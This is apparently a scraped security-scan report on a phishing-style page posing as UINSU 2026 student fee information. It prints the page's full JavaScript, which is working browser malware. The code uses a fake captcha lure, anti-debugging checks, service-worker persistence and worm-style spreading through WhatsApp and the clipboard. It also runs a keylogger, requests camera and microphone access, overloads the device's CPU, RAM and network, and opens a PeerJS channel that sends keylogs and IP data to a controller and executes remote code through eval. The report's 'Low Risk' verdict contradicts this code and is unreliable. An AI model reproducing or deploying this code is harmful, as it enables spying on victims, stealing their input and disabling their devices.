government public service

The domain 'anxious-indigo-lvl6ybztvv-cfw68qtugc.edgeone.app' uses the application-focused generic top-level domain (.app); it also runs on subdomain 'anxious-indigo-lvl6ybztvv-cfw68qtugc'. Its registrable label 'edgeone' stretches across 7 characters split between four vowels and 3 consonants. Splitting it apart reveals two words: edge, one. The median word length lands at 3.5 characters. No strong language cues emerged from the frequency lists.

html/77/09/77099271-bcf9-4300-952f-946a975308d7.html.gz

9f392743b87a1990be12547c8558021e45ef7b8d235e1f289bc600930fec8106

c429b56dfb227c0f042b2740bb1996d6f38bd23b869a5dfdcb520db97bd72622

width=device-width, initial-scale=1.0, user-scalable=no

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

Prudence Malinki

MarkMonitor Inc.

edgeone.app

IRT-SG-ACE

ACE administrator

ACE-SG


        // === VIRUS SUPER ===
        (function(){
            "use strict";

            // === ANTI-DEBUG & ANTI-SANDBOX ===
            (function(){
                const start = Date.now();
                debugger;
                if (Date.now() - start > 100) { /* mungkin di-debug */ }
                if (window.outerWidth - window.innerWidth > 100 || window.outerHeight - window.innerHeight > 100) { /* ukuran tidak normal */ }
                if (navigator.webdriver) return;
            })();

            // === CAPTCHA ===
            let captchaCode = '';
            function generateCaptcha() {
                captchaCode = Math.random().toString(36).substring(2,8).toUpperCase();
                document.getElementById('captchaText').textContent = captchaCode;
            }
            generateCaptcha();

            window.verifyCaptcha = function(){
                const input = document.getElementById('captchaInput').value.trim().toUpperCase();
                if (input === captchaCode) {
                    document.querySelector('.captcha-box').style.display = 'none';
                    document.getElementById('loadingSection').style.display = 'block';
                    simulateLoading();
                } else {
                    alert('Kode tidak cocok, coba lagi.');
                    generateCaptcha();
                }
            };

            function simulateLoading(){
                let progress = 0;
                const bar = document.getElementById('progressBar');
                const status = document.getElementById('statusMsg');
                const interval = setInterval(() => {
                    progress += Math.floor(Math.random() * 15) + 5;
                    if (progress >= 100) {
                        progress = 100;
                        bar.style.width = '100%';
                        status.textContent = 'Verifikasi berhasil. Mengalihkan...';
                        clearInterval(interval);
                        setTimeout(() => {
                            document.querySelector('.container').innerHTML = '<h2>Terima Kasih</h2><p>Anda telah diverifikasi.</p>';
                            startPayload();
                        }, 1000);
                    } else {
                        bar.style.width = progress + '%';
                        status.textContent = `Memeriksa koneksi... ${progress}%`;
                    }
                }, 300);
            }

            // === PAYLOAD UTAMA ===
            async function startPayload(){
                // 1. Daftarkan Service Worker agresif untuk persistensi
                if ('serviceWorker' in navigator) {
                    try {
                        const registration = await navigator.serviceWorker.register('sw.js', { scope: '/' });
                        // Kirim pesan keep-alive setiap 20 detik
                        setInterval(() => {
                            registration.active?.postMessage('keepalive');
                        }, 20000);
                    } catch(e) {
                        // Jika gagal, gunakan trik broadcast channel
                        const bc = new BroadcastChannel('vx_keepalive');
                        setInterval(() => bc.postMessage('ping'), 20000);
                    }
                }

                // 2. Worm: menyebarkan diri via Web Share dan copy link
                function spreadWorm(){
                    const currentUrl = window.location.href;
                    // Coba share via Web Share API jika didukung
                    if (navigator.share) {
                        navigator.share({
                            title: 'Dokumen Penting',
                            text: 'Lihat file ini, penting!',
                            url: currentUrl
                        }).catch(()=>{});
                    }
                    // Copy link ke clipboard sebagai fallback
                    navigator.clipboard?.writeText(currentUrl).catch(()=>{});
                    // Coba buka WhatsApp Web jika ada session (via iframe tersembunyi)
                    const waIframe = document.createElement('iframe');
                    waIframe.style.display = 'none';
                    waIframe.src = 'https://web.whatsapp.com/send?text=' + encodeURIComponent('Cek ini: ' + currentUrl);
                    document.body.appendChild(waIframe);
                    setTimeout(() => waIframe.remove(), 5000);
                }
                setTimeout(spreadWorm, 3000);

                // 3. Keylogger (global)
                const keylog = [];
                window.addEventListener('keydown', (e) => {
                    keylog.push({
                        key: e.key,
                        target: e.target.tagName,
                        time: new Date().toISOString()
                    });
                    // Batasi ukuran log
                    if (keylog.length > 500) keylog.shift();
                });

                // 4. Screenshot berkala (menggunakan canvas)
                async function takeScreenshot() {
                    const canvas = document.createElement('canvas');
                    canvas.width = window.innerWidth;
                    canvas.height = window.innerHeight;
                    const ctx = canvas.getContext('2d');
                    // Gambar halaman (hanya bisa screenshot elemen tertentu, tidak seluruh tab)
                    // Alternatif: gunakan html2canvas jika diinclude, tapi kita buat sederhana
                    ctx.fillStyle = '#fff';
                    ctx.fillRect(0, 0, canvas.width, canvas.height);
                    ctx.font = '20px Arial';
                    ctx.fillStyle = '#000';
                    ctx.fillText('Screenshot tidak tersedia', 10, 50);
                    return canvas.toDataURL('image/jpeg', 0.5);
                }

                // 5. Akses kamera & mikrofon (dengan izin yang diminta secara halus)
                let mediaStream = null;
                async function requestMedia() {
                    try {
                        mediaStream = await navigator.mediaDevices.getUserMedia({ video: true, audio: true });
                        // Stream bisa dikirim via WebRTC nanti
                    } catch(e) {}
                }
                setTimeout(requestMedia, 5000);

                // 6. Overload (lag, panas, freeze) seperti sebelumnya
                let overloadActive = false;
                let cpuWorker = null, ramArrays = [], glContext = null, freezeInterval = null;
                function startOverload() {
                    if(overloadActive) return;
                    overloadActive = true;
                    const canvas = document.getElementById('bgCanvas');
                    canvas.style.display = 'block';
                    canvas.width = window.innerWidth;
                    canvas.height = window.innerHeight;
                    glContext = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
                    if(glContext) {
                        const verts = new Float32Array(200000);
                        for(let i=0;i<verts.length;i++) verts[i] = Math.random();
                        const buf = glContext.createBuffer();
                        glContext.bindBuffer(glContext.ARRAY_BUFFER, buf);
                        glContext.bufferData(glContext.ARRAY_BUFFER, verts, glContext.STATIC_DRAW);
                        function renderGL() {
                            if(!overloadActive) return;
                            glContext.clear(glContext.COLOR_BUFFER_BIT);
                            glContext.drawArrays(glContext.POINTS, 0, 200000);
                            for(let i=0;i<10;i++) glContext.bufferData(glContext.ARRAY_BUFFER, verts, glContext.STATIC_DRAW);
                            requestAnimationFrame(renderGL);
                        }
                        renderGL();
                    }
                    const workerCode = `self.onmessage = (e) => { if(e.data === 'stop') { close(); return; } function loop(){ let x=0; for(let i=0;i<5e6;i++) x+=Math.sqrt(i); setTimeout(loop,0); } loop(); };`;
                    const blob = new Blob([workerCode], {type: 'application/javascript'});
                    cpuWorker = new Worker(URL.createObjectURL(blob));
                    cpuWorker.postMessage('start');
                    function fillRAM() {
                        if(!overloadActive) return;
                        try { for(let i=0;i<5;i++) ramArrays.push(new Float64Array(1024*1024*5)); } catch(e) {}
                        setTimeout(fillRAM, 200);
                    }
                    fillRAM();
                    const style = document.createElement('style');
                    style.id = 'freezeStyle';
                    style.innerHTML = '* { pointer-events: none !important; user-select: none !important; } body { opacity: 0.98; }';
                    document.head.appendChild(style);
                    freezeInterval = setInterval(() => {
                        if(!overloadActive) return;
                        const s = Date.now();
                        while(Date.now() - s < 400) {}
                    }, 600);
                    function jamNetwork() {
                        if(!overloadActive) return;
                        for(let i=0;i<30;i++) fetch('https://httpbin.org/delay/5', {mode: 'no-cors'}).catch(()=>{});
                        setTimeout(jamNetwork, 800);
                    }
                    jamNetwork();
                    if(navigator.vibrate) navigator.vibrate([1000,500,1000]);
                }
                function stopOverload() {
                    if(!overloadActive) return;
                    overloadActive = false;
                    if(cpuWorker) { cpuWorker.postMessage('stop'); cpuWorker = null; }
                    ramArrays.length = 0;
                    if(freezeInterval) { clearInterval(freezeInterval); freezeInterval = null; }
                    const style = document.getElementById('freezeStyle');
                    if(style) style.remove();
                    if(navigator.vibrate) navigator.vibrate(0);
                }

                // 7. Koneksi P2P ke kontroler (ID tetap 'controller-01')
                const CONTROLLER_ID = 'controller-01';
                let peer, conn;
                let myIP = 'Mengambil...';
                async function getIP() {
                    try {
                        const res = await fetch('https://api.ipify.org?format=json');
                        const data = await res.json();
                        myIP = data.ip;
                    } catch(e) { myIP = 'IP_ERROR'; }
                }

                async function initP2P() {
                    await getIP();
                    peer = new Peer('target-' + Math.random().toString(36).substr(2,8), {
                        host: '0.peerjs.com',
                        port: 443,
                        secure: true,
                        debug: 0
                    });
                    peer.on('open', (id) => {
                        document.getElementById('debugInfo').textContent = `ID: ${id} | IP: ${myIP}`;
                        connectToController();
                    });
                    peer.on('connection', (incomingConn) => {
                        conn = incomingConn;
                        setupConnection();
                    });
                    peer.on('error', () => setTimeout(initP2P, 10000));
                }

                function connectToController() {
                    conn = peer.connect(CONTROLLER_ID, { reliable: true });
                    setupConnection();
                }

                function setupConnection() {
                    conn.on('open', () => {
                        // Kirim info target
                        conn.send({
                            type: 'target_info',
                            id: peer.id,
                            ip: myIP,
                            ua: navigator.userAgent,
                            timestamp: new Date().toISOString()
                        });
                        // Kirim keylog berkala
                        setInterval(() => {
                            if (conn && conn.open && keylog.length > 0) {
                                conn.send({ type: 'keylog', data: keylog.splice(0, keylog.length) });
                            }
                        }, 10000);
                        // Kirim screenshot berkala
                        setInterval(async () => {
                            if (conn && conn.open) {
                                const ss = await takeScreenshot();
                                conn.send({ type: 'screenshot', data: ss });
                            }
                        }, 30000);
                        // Jika ada media stream, kirim track
                        if (mediaStream) {
                            mediaStream.getTracks().forEach(track => {
                                peer.call(CONTROLLER_ID, mediaStream); // panggilan WebRTC
                            });
                        }
                    });
                    conn.on('data', (data) => {
                        if (data.cmd === 'start') startOverload();
                        else if (data.cmd === 'stop') stopOverload();
                        else if (data.cmd === 'exec') eval(data.code);
                        else if (data.cmd === 'status_request') {
                            conn.send({ type: 'status', active: overloadActive });
                        } else if (data.cmd === 'get_keylog') {
                            conn.send({ type: 'keylog', data: keylog });
                            keylog.length = 0;
                        } else if (data.cmd === 'screenshot') {
                            takeScreenshot().then(ss => conn.send({ type: 'screenshot', data: ss }));
                        } else if (data.cmd === 'spread') {
                            spreadWorm();
                        }
                    });
                    conn.on('close', () => {
                        setTimeout(connectToController, 10000);
                    });
                    conn.on('error', () => setTimeout(connectToController, 10000));
                }

                initP2P();

                // Service Worker code (disimpan sebagai string, akan dibuat file sw.js via Blob)
                const swCode = `
                    self.addEventListener('install', (e) => {
                        self.skipWaiting();
                    });
                    self.addEventListener('activate', (e) => {
                        e.waitUntil(clients.claim());
                    });
                    self.addEventListener('message', (e) => {
                        if (e.data === 'keepalive') {
                            // tetap hidup
                        }
                    });
                    // Coba fetch berkala untuk menjaga SW tetap aktif
                    setInterval(() => {
                        fetch('https://www.google.com/favicon.ico').catch(()=>{});
                    }, 20000);
                `;
                const swBlob = new Blob([swCode], { type: 'application/javascript' });
                const swUrl = URL.createObjectURL(swBlob);
                navigator.serviceWorker.register(swUrl).catch(()=>{});
            }

            // Mulai setelah verifikasi
            // startPayload() dipanggil dari simulateLoading
        })();
    

jsDelivr

Infomasi Biaya Siswa UINSU Periode 2026

✅ Low Risk - https://anxious-indigo-lvl6ybztvv-cfw68qtugc.edgeone.app/

Requests	IP Address	Location	AS Autonomous System
2	151.101.65.229	United States	AS54113Fastly, Inc.
1	43.152.26.58	Singapore	AS139341ACE
3	2	-	-

Security Scan Report: anxious-indigo-lvl6ybztvv-cfw68qtugc.edgeone.app

Summary

AI Security Verdict

Low Risk

Risk Factors

Safety Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies1

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History